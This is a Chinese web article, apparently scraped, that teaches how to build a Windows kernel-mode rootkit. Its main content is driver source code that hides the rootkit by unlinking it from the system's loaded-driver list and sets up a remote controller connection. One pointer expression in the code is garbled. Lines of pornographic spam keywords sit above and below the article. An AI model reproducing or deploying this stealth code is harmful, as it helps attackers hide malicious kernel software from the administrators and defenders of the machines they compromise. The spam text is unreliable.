黄色国产视频,男女啪啪18禁无遮挡激烈,久草热8精品视频在线观看,四虎国产精品永久在线下载

            Rootkit隱形技術方法

            時間:2022-06-29 22:30:16 技工 我要投稿
            • 相關推薦

            Rootkit隱形技術方法

              一、綜述

              本文將引領讀者打造一個初級的內核級Rootkit,然后為其引入兩種簡單的隱形技術:進程隱形技術和文件隱形技術。同時,為了讓讀者獲得rootkit編程的相關經驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術。

              本文介紹的Rootkit的主要構件是一個設備驅動程序,所以我們首先了解一下我們的第一個rootkit。

              二、rootkit主體

              本節引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設備驅動程序。那么為什么要用設備驅動程序作為主體呢?很明顯,因為在系統中,設備驅動程序和操作系統一樣,都是程序中的特權階級——它們運行于Ring0,有權訪問系統中的所有代碼和數據。還有一點需要說明的是,因為本例主要目的在于介紹rootkit是如何隱形的,所以并沒有實現后門之類的具體功能,。

              我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數據結構和函數。下面,先給出我們用到的第一個文件,它是一個頭文件,名為Invisible.h,具體如下所示:

              //Invisible.h:我們rootkit的頭文件

              #ifndef _INVISIBLE_H_

              #define _INVISIBLE_H_

              typedef BOOLEAN BOOL;

              typedef unsigned long DWORD;

              typedef DWORD* PDWORD;

              typedef unsigned long ULONG;

              typedef unsigned short WORD;

              typedef unsigned char BYTE;

              typedef struct _DRIVER_DATA

              {

              LIST_ENTRY listEntry;

              DWORD unknown1;

              DWORD unknown2;

              DWORD unknown3;

              DWORD unknown4;

              DWORD unknown5;

              DWORD unknown6;

              DWORD unknown7;

              UNICODE_STRING path;

              UNICODE_STRING name;

              } DRIVER_DATA;

              #endif

              我們知道,應用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅動程序這里就行不通了,原因大致有二條,一是驅動程序體積一般較為緊湊,二是驅動程序用途較為專一,用到的數據類型較少。因此,我們這里給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數據類型。

              這里定義的類型中,有一個數據類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 操作系統未公開的一個數據結構,其中含有分別指向設備驅動程序目錄中上一個和下一個設備驅動程序的指針。而我們這里開發的rootkit恰好就是作為設備驅動程序來實現,所以,只要從設備驅動程序目錄中將我們的rootkit(即驅動程序)所對應的目錄項去掉,系統管理程序就看不到它了,從而實現了隱形。

              上面介紹了rootkit的頭文件,現在開始介紹rootkit的主體部分,它實際就是一個基本的設備驅動程序,具體代碼如下面的Invisible.c所示:

              // Invisible

              #include "ntddk.h"

              #include "Invisible.h"

              #include "fileManager.h"

              #include "configManager.h"

              // 全局變量

              ULONG majorVersion;

              ULONG minorVersion;

              //當進行free build時,將其注釋掉,以防被檢測到

              VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )

              {

              DbgPrint("comint16: OnUnload called.");

              }

              NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING

              theRegistryPath )

              {

              DRIVER_DATA* driverData;

              //取得操作系統的版本

              PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

              // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95

              // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000

              // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95

              // Minor = 1: Windows XP

              // Minor = 2: Windows Server 2003

              if ( majorVersion == 5 && minorVersion == 2 )

              {

              DbgPrint("comint16: Running on Windows 2003");

              }

              else if ( majorVersion == 5 && minorVersion == 1 )

              {

              DbgPrint("comint16: Running on Windows XP");

              }

              else if ( majorVersion == 5 && minorVersion == 0 )

              {

              DbgPrint("comint16: Running on Windows 2000");

              }

              else if ( majorVersion == 4 && minorVersion == 0 )

              {

              DbgPrint("comint16: Running on Windows NT 4.0");

              }

              else

              {

              DbgPrint("comint16: Running on unknown system");

              }

              // 隱藏該驅動程序

              driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));

              if( driverData != NULL )

              {

              // 將本驅動程序的相應目錄項從項驅動程序目錄中拆下來

              *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

              driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

              }

              // 允許卸載本驅動程序

              pDriverObject->DriverUnload = OnUnload;

              // 為本Rootkit的控制器配置連接

              if( !NT_SUCCESS( Configure() ) )

              {

              DbgPrint("comint16: Could not configure remote connection.n");

              return STATUS_UNSUCCESSFUL;

              }

              return STATUS_SUCCESS;

              }

            【Rootkit隱形技術方法】相關文章:

            避免“隱形”面試錯誤的方法07-13

            蚯蚓養殖技術方法09-15

            面試方法和技術07-11

            常見的股票技術分析方法07-01

            復合技術選股方法07-01

            設定技術參數的方法07-01

            盤面異動技術分析方法07-01

            股票技術分析方法詳解07-01

            股市板塊技術分析的方法07-01

            迅速提高攝影技術的方法07-03

            主站蜘蛛池模板: 国产露脸bbw| 国产伦精品一区二区三区免费| 精品一区二区三区免费毛片| 中文字幕在线看| 污视频网站观看| 色鬼7777久久| 国产精品一线视频| 亚洲一区二区 在线| 日日人人| 久久这里只有精品国产免费10| av在线h| 色a在线观看| 国产欧美一区二区三区免费| 国产69精品久久久久乱码韩国| 女厕偷窥一区二区三区| 国产在线拍偷自揄拍视频| 一区二区在线观看视频免费| 久久久九九九热| 免费无码又爽又刺激激情视频| 美女av一区二区三区| 久久午夜国产精品| 在线亚洲综合| 韩国av毛片| 国产高清乱码女大生av| 亚洲欧美另类在线图片区| 久久综合婷婷| 中文精品一区二区三区| 亚洲欧美色图视频| 97国产在线看片免费人成视频 | 少妇一级淫片免费放4p| 狠狠色香婷婷久久亚洲精品| 乱子伦av无码中文字| 国产真人无遮挡作爱免费视频| 可以看的av网址| 中文字幕亚洲欧美日韩| 久久一道| 秋霞无码久久久精品交换| 欧美精品videosbestsex日本| 久久精品人人做人人爱爱站长工具| 91久久精品日日躁夜夜躁欧美| 国产精品无码专区|